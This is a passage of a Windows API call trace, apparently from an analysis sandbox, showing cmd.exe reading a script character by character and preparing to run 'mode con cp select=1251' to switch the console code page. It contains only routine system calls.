hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.156] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0036.156] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.156] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.157] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0036.157] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.157] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.157] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0036.157] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.157] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.157] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0036.157] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.157] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.157] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0036.157] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.157] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.157] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0036.157] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.157] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.157] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0036.157] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.157] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.157] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0036.157] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.157] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.158] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0036.158] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.158] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.158] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0036.158] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.158] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.158] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0036.158] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.158] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.158] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0036.158] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.158] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.158] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0036.158] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.158] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.158] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0036.158] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.158] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.158] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0036.159] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.159] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.159] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0036.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0036.159] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.159] GetFileType (hFile=0x2c4) returned 0x3 [0036.159] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0036.159] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0036.159] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.159] GetFileType (hFile=0x2d0) returned 0x3 [0036.159] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0036.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a06c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0036.159] WriteFile (in: hFile=0x2d0, lpBuffer=0x4a06c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x16f608, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesWritten=0x16f608*=0x18, lpOverlapped=0x0) returned 1 [0036.159] GetProcessHeap () returned 0x1b0000 [0036.159] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1ccd20 [0036.159] GetProcessHeap () returned 0x1b0000 [0036.159] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd20 | out: hHeap=0x1b0000) returned 1 [0036.160] _wcsicmp (_String1="mode", _String2=")") returned 68 [0036.160] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0036.160] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0036.160] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0036.160] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0036.160] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0036.160] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0036.160] GetProcessHeap () returned 0x1b0000 [0036.160] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0036.160] GetProcessHeap () returned 0x1b0000 [0036.160] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1a) returned 0x1c4610 [0036.161] GetProcessHeap () returned 0x1b0000 [0036.161] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x38) returned 0x1c6510 [0036.161] GetConsoleOutputCP () returned 0x1b5 [0036.161] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a06bfe0 | out: lpCPInfo=0x4a06bfe0) returned 1 [0036.161] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0036.162] GetConsoleTitleW (in: lpConsoleTitle=0x16f5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0036.162] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0036.162] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0036.162] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0036.162] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0036.162] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0036.162] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0036.162] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0036.162] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0036.162] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0036.162] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0036.162] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0036.162] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0036.162] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0036.162] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0036.162] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0036.162] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0036.162] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0036.162] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0036.162] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0036.162] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0036.162] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0036.162] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0036.162] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0036.162] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0036.163] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0036.163] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0036.163] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0036.163] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0036.163] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0036.163] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0036.163] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0036.163] _wcsicmp (_String1="mode", _String2="START") returned -6 [0036.163] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0036.163] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0036.163] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0036.163] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0036.163] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0036.163] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0036.163] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0036.163] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0036.163] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0036.163] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0036.163] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0036.163] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0036.163] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0036.163] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0036.163] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0036.163] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0036.163] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0036.163] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0036.163] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0036.163] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0036.163] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0036.163] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0036.163] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0036.163] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0036.163] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0036.163] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0036.163] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0036.163] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0036.163] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0036.163] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0036.163] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0036.163] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0036.164] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0036.164] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0036.164] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0036.164] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0036.164] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0036.164] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0036.164] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0036.164] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0036.164] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0036.164] _wcsicmp (_String1="mode", _String2="START") returned -6 [0036.164] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0036.164] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0036.164] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0036.164] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0036.164] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0036.164] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0036.164] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0036.164] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0036.164] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0036.164] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0036.164] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0036.164] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0036.164] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0036.164] GetProcessHeap () returned 0x1b0000 [0036.164] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1b1ab0 [0036.164] GetProcessHeap () returned 0x1b0000 [0036.164] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x42) returned 0x1c98a0 [0036.164] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0036.165] GetProcessHeap () returned 0x1b0000 [0036.165] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1c9a80 [0036.165] SetErrorMode (uMode=0x0) returned 0x0 [0036.165] SetErrorMode (uMode=0x1) returned 0x0 [0036.165] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1c9a90, lpFilePart=0x16ee50 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16ee50*="Desktop") returned 0x25 [0036.165] SetErrorMode (uMode=0x0) returned 0x1 [0036.165] GetProcessHeap () returned 0x1b0000 [0036.165] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9a80, Size=0x66) returned 0x1c9a80 [0036.165] GetProcessHeap () returned 0x1b0000 [0036.165] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9a80) returned 0x66 [0036.165] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a05f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0036.165] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0036.165] GetProcessHeap () returned 0x1b0000 [0036.165] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1b1cd0 [0036.165] GetProcessHeap () returned 0x1b0000 [0036.165] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1c9b00 [0036.170] GetProcessHeap () returned 0x1b0000 [0036.170] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b00, Size=0x12a) returned 0x1c9b00 [0036.170] GetProcessHeap () returned 0x1b0000 [0036.171] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b00) returned 0x12a [0036.171] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a05f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0036.171] GetProcessHeap () returned 0x1b0000 [0036.171] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c5b70 [0036.171] GetProcessHeap () returned 0x1b0000 [0036.171] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c5b70, Size=0x7e) returned 0x1c5b70 [0036.171] GetProcessHeap () returned 0x1b0000 [0036.171] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5b70) returned 0x7e [0036.172] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0036.172] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x16ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ebc0) returned 0xffffffffffffffff [0036.172] GetLastError () returned 0x2 [0036.172] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x16ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ebc0) returned 0xffffffffffffffff [0036.173] GetLastError () returned 0x2 [0036.173] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0036.173] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x16ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ebc0) returned 0x1c5c00 [0036.173] GetProcessHeap () returned 0x1b0000 [0036.173] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x28) returned 0x1c4640 [0036.173] FindClose (in: hFindFile=0x1c5c00 | out: hFindFile=0x1c5c00) returned 1 [0036.173] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x16ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ebc0) returned 0x1c5c00 [0036.173] GetProcessHeap () returned 0x1b0000 [0036.173] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c4640, Size=0x8) returned 0x1c98f0 [0036.173] FindClose (in: hFindFile=0x1c5c00 | out: hFindFile=0x1c5c00) returned 1 [0036.173] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0036.173] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0036.173] GetConsoleTitleW (in: lpConsoleTitle=0x16f110, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0036.173] GetProcessHeap () returned 0x1b0000 [0036.173] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9c40 [0036.173] GetConsoleTitleW (in: lpConsoleTitle=0x1c9c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0036.174] GetProcessHeap () returned 0x1b0000 [0036.174] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9c40, Size=0xa8) returned 0x1c9c40 [0036.174] GetProcessHeap () returned 0x1b0000 [0036.174] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9c40) returned 0xa8 [0036.174] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0036.174] GetProcessHeap () returned 0x1b0000 [0036.174] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9c40 | out: hHeap=0x1b0000) returned 1 [0036.174] InitializeProcThreadAttributeList (in: lpAttributeList=0x16eec8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16ee88 | out: lpAttributeList=0x16eec8, lpSize=0x16ee88) returned 1 [0036.174] UpdateProcThreadAttribute (in: lpAttributeList=0x16eec8, dwFlags=0x0, Attribute=0x60001, lpValue=0x16ee78, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16eec8, lpPreviousValue=0x0) returned 1 [0036.174] GetStartupInfoW (in: lpStartupInfo=0x16efe0 | out: lpStartupInfo=0x16efe0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2c4, hStdOutput=0x2d0, hStdError=0x2d0)) [0036.174] GetProcessHeap () returned 0x1b0000 [0036.174] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4640 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0036.175] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0036.175] _wcsnicmp 